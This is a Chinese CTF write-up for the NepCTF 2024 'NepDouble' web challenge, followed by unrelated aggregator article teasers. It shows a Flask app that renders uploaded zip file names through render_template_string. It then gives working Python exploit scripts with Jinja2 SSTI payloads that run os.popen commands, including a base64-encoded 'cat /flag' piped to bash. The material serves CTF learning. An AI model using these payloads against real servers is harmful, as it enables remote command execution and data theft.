Nepctf2024-Web-NepDouble

news/2024/9/18 23:15:42/ 标签: 网络安全
一、题目
题目:NepDouble
题目描述:
二、WriteUp
1. 源码分析
# /
@app.route('/', methods=['GET', 'POST'])
def main():if request.method != "POST":return 'Please use POST method to upload files.'try:clear_uploads_folder()files = request.files.get('tp_file', None)if not files:return 'No file uploaded.'file_size = len(files.read())files.seek(0)file_extension = files.filename.rsplit('.', 1)[-1].lower()      # 判断是否为zipif file_extension != 'zip':return 'Invalid file type. Please upload a .zip file.'timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')md5_dir_name = hashlib.md5(timestamp.encode()).hexdigest()unzip_folder = os.path.join(app.config['UPLOAD_FOLDER'], md5_dir_name)os.makedirs(unzip_folder, exist_ok=True)        # 创建时间戳md5文件夹with ZipFile(files) as zip_file:zip_file.extractall(path=unzip_folder)      # 解压文件files_list = []for root, dirs, files in os.walk(unzip_folder):for file in files:print(file)file_path = os.path.join(root, file)relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])link = f'<a href="/cat?file={relative_path}">{file}</a>'files_list.append(link)return render_template_string('<br>'.join(files_list))          # 漏洞函数except ValueError:return 'Invalid filename.'    except Exception as e:return 'An error occurred. Please check your file and try again.'
2. 功能测试
# 上传zip
import requestsfile_path = './test.zip'
url = 'https://neptune-59769.nepctf.lemonprefect.cn/'with open(file_path, 'rb') as f:files = {'tp_file': (file_path.split('/')[-1], f, 'application/zip')}response = requests.post(url, files=files)
print(response.text)
3. 访问<a href="/cat?file=5d547db16cff3d5848781938e9ec70ce/zipfile/1.jpg">1.jpg</a>
/cat?file=5d547db16cff3d5848781938e9ec70ce/zipfile/1.jpg
即得到文件内容
4. 漏洞函数
return render_template_string('<br>'.join(files_list))          # 漏洞函数
在渲染文件名时 可以进行python ssti模板注入
5. exp
# 测试版本 
import requests
import zipfile
import os
import re
import htmlcontent_payload = 'whatever'
file_name = input("input filename:")    # 输入自定义
zip_file_name = 'payload.zip'
file_path = './payload.zip'
url = 'https://neptune-60709.nepctf.lemonprefect.cn'with open(file_name, 'w') as f:f.write(content_payload)with zipfile.ZipFile(zip_file_name, 'w') as zipf:zipf.write(file_name)os.remove(file_name)with open(file_path, 'rb') as f:files = {'tp_file': (file_path.split('/')[-1], f, 'application/zip')}response = requests.post(url, files=files)os.remove(zip_file_name)
href = html.unescape(response.text)
print(href)
{{}}是表达式
# 可能的payload{{''.__class__}}
{{''.__class__.__bases__[0].__subclasses__()[0].__init__.__globals__.keys()}}
{{''.__class__.__mro__[0].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()[222].__init__}}   # <class 'warnings.catch_warnings'>
{{''.__class__.__mro__[1].__subclasses__()[209].__init__.__globals__.keys()}}
{{''.__class__.__mro__[1].__subclasses__()[209].__init__.__globals__["os"]["popen"]("ls").read()}}
{{''.__class__.__mro__[1].__subclasses__()[222].__init__.func_globals.values()[13]['eval']('__import__(\"os\").popen(\"ls\").read()')}}
# 测试哪些子类中包含os
import requests
import zipfile
import os
import re
import htmlfor i in range(1000):content_payload = 'whatever'file_name = "{{''.__class__.__mro__[1].__subclasses__()[" + str(i) +"].__init__.__globals__.keys()}}"zip_file_name = 'payload.zip'file_path = './payload.zip'url = 'https://neptune-42781.nepctf.lemonprefect.cn'with open(file_name, 'w') as f:f.write(content_payload)with zipfile.ZipFile(zip_file_name, 'w') as zipf:zipf.write(file_name)os.remove(file_name)with open(file_path, 'rb') as f:files = {'tp_file': (file_path.split('/')[-1], f, 'application/zip')}response = requests.post(url, files=files)os.remove(zip_file_name)href = html.unescape(response.text)if "\'os\'" in href:# print(href)print(i)
{{''.__class__.__mro__[1].__subclasses__()[209].__init__.__globals__['os']['popen']('ls').read()}}
在文件系统中,斜杠 / 被用作路径分隔符,因此它不能作为文件名的一部分。如果您尝试创建一个包含 / 的文件名,将会引发 FileNotFoundError 或者其它错误。
import requests
import zipfile
import os
import re
import htmlcontent_payload = 'whatever'
# 使用base64对/进行绕过,然后使用bash执行
file_name = "{{''.__class__.__mro__[1].__subclasses__()[209].__init__.__globals__['os']['popen']('echo Y2F0IC9mbGFn|base64 -d|bash').read()}}"
zip_file_name = 'payload.zip'
file_path = './payload.zip'
url = 'https://neptune-60709.nepctf.lemonprefect.cn'with open(file_name, 'w') as f:f.write(content_payload)with zipfile.ZipFile(zip_file_name, 'w') as zipf:zipf.write(file_name)os.remove(file_name)with open(file_path, 'rb') as f:files = {'tp_file': (file_path.split('/')[-1], f, 'application/zip')}response = requests.post(url, files=files)os.remove(zip_file_name)
href = html.unescape(response.text)
print(href)
三、总结
四、参考链接


http://www.ppmy.cn/news/1519216.html

相关文章

读懂华为V模型:连接业务与IT,用V模型指导服务化设计

今天笔者带来华为的V模型&#xff0c;与读者一起解读下&#xff0c;V模型是如何连接业务与IT&#xff0c;实现IT产品服务化设计的。 华为用V模型连接业务与IT&#xff0c;指导服务化设计&#xff0c;是一种创新的方法论&#xff0c;旨在通过业务与IT的深度融合&#xff0c;提升…

小程序自定义目录结构

精简目录 /my-miniprogram ├── /miniprogram │ ├── /pages │ │ └── /index │ │ ├── index.js │ │ ├── index.json │ │ ├── index.wxml │ │ └── index.wxss │ ├── app.js │ ├── app.json │…

培训第三十六天(docker应用,mysql容器应用,容器核对时间,容器之间的依赖 域名,文件联合系统,制作基础镜像,commit制作镜像)

上午 容器就是在镜像上添加了一个可写层 # 从镜像库中下载mysql镜像&#xff0c;mysql镜像是在基础镜像上加很多层制成的[rootdocker ~]# docker pull mysqlUsing default tag: latestlatest: Pulling from library/mysql6e839ac3722d: Pull complete ad912193ad5f: Pull comp…

网工面试题(安全)

上一篇&#xff1a;网工面试题&#xff08;数通&#xff09; 防火墙 防火墙的应用场景 防火墙&#xff1a;部署在网络出口处/服务器区(数据中心&#xff09;/广域网接入&#xff0c;用于防止外界黑客攻击、保护内网安全硬件。 传统防火墙和下一代防火墙的区别 传统防火墙的功能…

关于vue3.x中最长递增子序列(LIS)

什么是最长递增子序列&#xff1f; 简单来说最长递增子序列就是在一个数组中呈现递增的数据的长度 lettcode原题 示例&#xff1a;我们有一个数组 arr const arr [10, 9, 2, 5, 3, 7, 101, 18]那么他的序列有那些呢&#xff1f; [2][2, 3][2, 5][2, 3, 7][2, 5, 7][2, 3, 1…

常用的加密算法分析

常用的加密算法主要分为对称加密算法&#xff08;DES、3DES、AES&#xff09;、非对称加密算法&#xff08;RSA、DSA、ECC&#xff09;以及散列算法&#xff08;MD5、SHA&#xff09;三大类。 一、对称加密算法 对称加密算法&#xff0c;又称为单密钥加密或共享密钥加密&…

Expected expression after operator

这个错误直译过来就是:运算符号后没有预期的表达式 这个错误通常出现在编程语言中&#xff0c;尤其是在编写C或C等类型语言的时候&#xff0c;它意味着在源代码中遇到了一个操作符&#xff08;比如 , -, *, /, , 等等&#xff09;&#xff0c;但在该操作符后面没有紧跟相应的表…

Spring MVC RESTful API - 修改状态接口示例

前言 在许多应用程序中&#xff0c;更新资源的状态是一项常见的需求。例如&#xff0c;在任务管理系统中&#xff0c;用户可能需要更新任务的状态&#xff0c;如从“待办”变为“完成”。为了实现这一功能&#xff0c;我们可以使用Spring MVC框架结合MyBatis Plus来创建一个简…

《第三十章 性能优化 - 存储优化》

一、引言 在 Android 应用开发中&#xff0c;性能优化是一个持续且重要的工作。存储优化作为性能优化的关键环节之一&#xff0c;对于提高应用的响应速度、节省资源以及提升用户体验具有重要意义。在本章中&#xff0c;我们将重点探讨数据库优化和缓存策略这两个主要知识点。 二…

go+gin+vue入门

后端框架 1、安装go、goland 2、创建空项目 3、下载要用的包&#xff1a;命令行输入go get -u github.com/xxxx 4、安装mysql数据库&#xff0c;使用navicat创建数据库。 5、按照项目框架搭建目录、文件、代码&#xff1a;如router、model… 6、运行测试&#xff0c;go run ma…

JVM面试(一)什么是虚拟机?什么是class文件?

什么是java虚拟机&#xff1f; 如果通俗点来讲&#xff0c;我们在电脑上一行行敲出来的代码&#xff0c;电脑本身是不认识的&#xff0c;最终是要转成电脑可以运行的101001这种字节。 但是这些我们又不可能手动来转换&#xff0c;所以呢&#xff0c;就需要一个工具&#xff0…

学习笔记——后端项目中的相关技术 【随时更新】

文章目录 1. Session 共享1.0 cookie和session的工作流1.1 Cookie范围1.2 为什么要共享&#xff1f;1.3 如何共享存储1.4 session共享实现 2. 缓存的实现2.1 缓存分类2. 2 Redis 缓存实现2.1.1 Redis 的数据结构&#xff08;高频考点&#xff09;2.1.2 redisTemplate 自定义序列…

【Linux】CodeServer:离线插件配置

下载 VS Code 插件 要为 code-server 添加离线插件&#xff0c;首先需要从 Visual Studio Code 插件市场下载所需的插件&#xff1a; 打开浏览器&#xff0c;访问 Visual Studio Code 插件市场。 在搜索栏中输入您需要的插件名称&#xff0c;找到插件后&#xff0c;点击插件页…

“线程池中线程异常后:销毁还是复用?”

目录 一、验证execute提交线程池中 测试 结论 二、验证submit提交线程池中 测试 结论 三、源码解析 查看submit方法的执行逻辑 查看execute方法的执行逻辑 为什么submit方法&#xff0c;没有创建新的线程&#xff0c;而是继续复用原线程&#xff1f; 四、总结 需要说…

经典大语言模型解读(2):生成式预训练的先锋GPT-1

论文地址&#xff1a;Improving Language Understanding by Generative Pre-Training 概述 现实世界中包含了大量的文本语料数据&#xff0c;然而&#xff0c;绝大多数语料都是无标签的。 为了充分利用这些无标签语料库&#xff0c;GPT1.0提出直接利用这些未标记的语料来进行…

VMware Workstation安装及配置CentOS7 Linux操作系统

VMware workstation安装 百度网盘&#xff0c;VMware-workstation-full-17.5.2.exe 安装包&#xff1a; 链接:https://pan.baidu.com/s/1xgbWUlo-hFUbb11MRxIVsw?pwd87bq 提取码: 87bq 检查网络适配器是否正常配置 在VMware Workstation中安装CentOS7 Linux操作系统 下载…

探秘Python字典:解锁数据管理的艺术

引言 字典&#xff08;Dictionary&#xff09;是一种可变容器模型&#xff0c;它可以存储任意类型对象。Python字典使用键-值对&#xff08;key-value pair&#xff09;存储数据&#xff0c;其中键必须是不可变的数据类型如数字、字符串等&#xff0c;而值可以是任何数据类型。…

花店鲜花管理与推荐系统+Python+Django网页界面+管理系统+计算机课设

一、介绍 花店鲜花管理与推荐系统。本系统使用Python作为主要开发语言开发的一个花店鲜花管理与推荐的网站平台。 网站前端界面采用HTML、CSS、BootStrap等技术搭建界面。后端采用Django框架处理用户的逻辑请求&#xff0c;并将用户的相关行为数据保存在数据库中。通过Ajax技…

泰山派的小手机后续(2)

之前 触摸板一直报错的解决&#xff1a; 1 我的触摸板 画错了。 从新画了一个 触摸的转接板&#xff0c;调整过来了。 关于触摸的 线序。 这块屏幕正常 就是横着放的。 关于泰山派接口的线序&#xff1a; 所以我的转接板的画法 是&#xff1a; 开发板与转接板 使用的是 反排线…

AWS 无服务计算服务 Lambda

无服务计算服务 Lambda 引言什么是 AWS Lambda关键特点使用场景 SQS 驱动 Lambda示例场景描述&#xff1a;订单处理系统解决方案&#xff1a;使用 SQS 和 Lambda示例代码&#xff1a;Python Lambda 处理 SQS 消息总结 Lambda ApplicationLambda Application 的主要组成部分创建…